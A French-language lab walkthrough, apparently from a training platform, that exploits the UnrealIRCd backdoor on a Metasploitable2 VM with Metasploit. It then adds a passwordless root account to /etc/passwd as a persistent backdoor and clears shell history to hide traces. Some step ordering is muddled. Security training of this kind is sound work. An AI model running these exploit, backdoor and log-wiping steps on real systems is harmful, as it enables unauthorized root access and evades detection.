Introduction
Dans ce laboratoire, nous allons apprendre à créer une porte dérobée et à effacer les traces après avoir réussi à accéder à une machine cible lors d'une attaque par test d'intrusion. Le scénario est configuré dans l'environnement LabEx, où nous utiliserons le terminal Kali pour exploiter les vulnérabilités de la machine cible Metasploitable2, obtenir un accès root, créer une porte dérobée pour un accès futur et supprimer toutes les traces laissées lors du processus d'attaque.
Obtenir un accès root sur la machine cible
Dans cette étape, nous utiliserons la vulnérabilité Unreal Ircd pour obtenir un accès root sur la machine cible.
Vous allez maintenant démarrer la machine d'attaque (conteneur Kali Linux) et la machine cible (machine virtuelle Metasploitable2) pour l'expérience.
Ouvrez un terminal xfce sur la machine hôte LabEx et démarrez la cible Metasploitable2 en exécutant la commande suivante :
sudo virsh start Metasploitable2
Attendez que la machine cible démarre, cela peut prendre 1 à 3 minutes.
Testez la connectivité avec la machine cible en envoyant un ping :
ping 192.168.122.102
Appuyez sur Ctrl+C pour arrêter le ping.
Lancez le conteneur Kali Linux et entrez dans l'environnement bash en exécutant :
docker run -ti --network host b5b709a49cd5 bash
À l'intérieur du conteneur Kali, testez la connexion réseau vers la machine cible :
ping 192.168.122.102
Appuyez sur Ctrl+C pour arrêter le ping.
Maintenant que la machine d'attaque et la machine cible sont en cours d'exécution, vous pouvez commencer le test d'intrusion.
Remarque : Si vous quittez accidentellement le bash actuel, le conteneur Kali s'arrêtera automatiquement. Vous pouvez exécuter docker run -ti --network host b5b709a49cd5 bash à nouveau sur l'hôte pour démarrer un nouveau conteneur Kali et entrer dans le bash pour poursuivre l'expérience.
Dans le conteneur Kali Linux, entrez les commandes suivantes dans le terminal bash :
service postgresql start
msfdb init
cd ~
msfconsole
Cela démarrera le service de base de données PostgreSQL, initialisera la base de données et lancera la console Metasploit Framework (msfconsole) pour les opérations suivantes.
Recherchez le module de vulnérabilité Unreal Ircd :
search unreal_ircd
Utilisez le module unix/irc/unreal_ircd_3281_backdoor :
use exploit/unix/irc/unreal_ircd_3281_backdoor
Définissez l'adresse IP cible :
set RHOST 192.168.122.102
Sélectionnez une charge utile (payload) de type bind shell pour le module :
set PAYLOAD cmd/unix/bind_perl
Exploitez la vulnérabilité pour obtenir l'accès :
exploit
Vérifiez l'utilisateur actuel :
whoami
Vous devriez constater que vous avez obtenu un accès root sur la machine cible.
Appuyez sur Ctrl+D pour quitter la console Metasploit, puis lancez l'inspection
Créer une porte dérobée
Dans cette étape, maintenant que nous avons obtenu l'accès root, créons une porte dérobée pour un accès futur à la machine cible.
Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devez la démarrer :
cd ~
msfconsole
Ensuite, vérifiez les informations système :
uname -a
Trouvez l'emplacement du bash de l'utilisateur root :
cat /etc/passwd
Créez un compte porte dérobée sans mot de passe :
echo 'shiyanlou1234::0:0::/:/bin/sh' >> /etc/passwd
Vérifiez la création du compte porte dérobée :
cat /etc/passwd
Vous devriez voir le nouveau compte shiyanlou1234 dans la sortie.
Ouvrez un nouveau terminal et connectez-vous à la machine cible en utilisant le compte porte dérobée :
telnet 192.168.122.102
Entrez le nom d'utilisateur shiyanlou1234 lorsque vous y êtes invité.
Vérifiez l'utilisateur actuel :
whoami
Vous devriez voir que vous êtes connecté en tant qu'utilisateur de la porte dérobée.
Appuyez sur Ctrl+D pour quitter la console Metasploit, puis lancez l'inspection
Effacer les traces
Dans cette étape, après avoir obtenu l'accès et créé une porte dérobée, il est important d'effacer toutes les traces laissées lors du processus d'attaque pour éviter toute détection.
Tout d'abord, si vous n'êtes pas dans la console Metasploit, vous devez la démarrer :
cd ~
msfconsole
Un moyen courant d'effacer les traces consiste à supprimer l'historique des commandes. L'historique est stocké dans le fichier .bash_history. Vous pouvez effacer l'historique à l'aide de la commande suivante :
history -c
Pour effacer le fichier .bash_history, vous pouvez trouver son emplacement à l'aide de la commande find :
find / -name .bash_history
Appuyez sur Ctrl+D pour quitter la console Metasploit, puis lancez l'inspection
Résumé
Dans ce laboratoire, nous avons appris à obtenir un accès root sur une machine cible en utilisant la vulnérabilité Unreal Ircd, à créer un compte porte dérobée pour un accès futur et à effacer les traces laissées lors du processus d'attaque. Cette expérience pratique vous aidera à comprendre les techniques utilisées par les attaquants pour maintenir un accès persistant et couvrir leurs traces après une attaque par test d'intrusion réussie.
